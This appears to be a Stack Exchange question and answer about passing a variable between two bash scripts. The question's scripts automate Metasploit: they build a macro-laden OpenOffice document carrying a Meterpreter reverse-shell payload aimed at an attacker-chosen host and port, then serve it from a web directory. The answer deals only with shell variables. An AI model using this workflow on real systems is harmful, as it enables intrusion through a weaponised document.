0

I have written a bash script

Script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

How can i pass the $name parameter from script1 to script2?

1
  • If you write for the bash shell, don't use a sh shebang line in your scripts! – Kusalananda Sep 21 '18 at 8:25
0

There are two possibilities:

  1. Make it an exported variable (in which case I would recommend writing it all-uppercase, i.e. NAME). If you do this, it is placed in the environment of the child process.
  2. Pass it as an explicit parameter.

Example for 1:

# Use it as exported variable
export NAME
read -p .... NAME

Example for 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.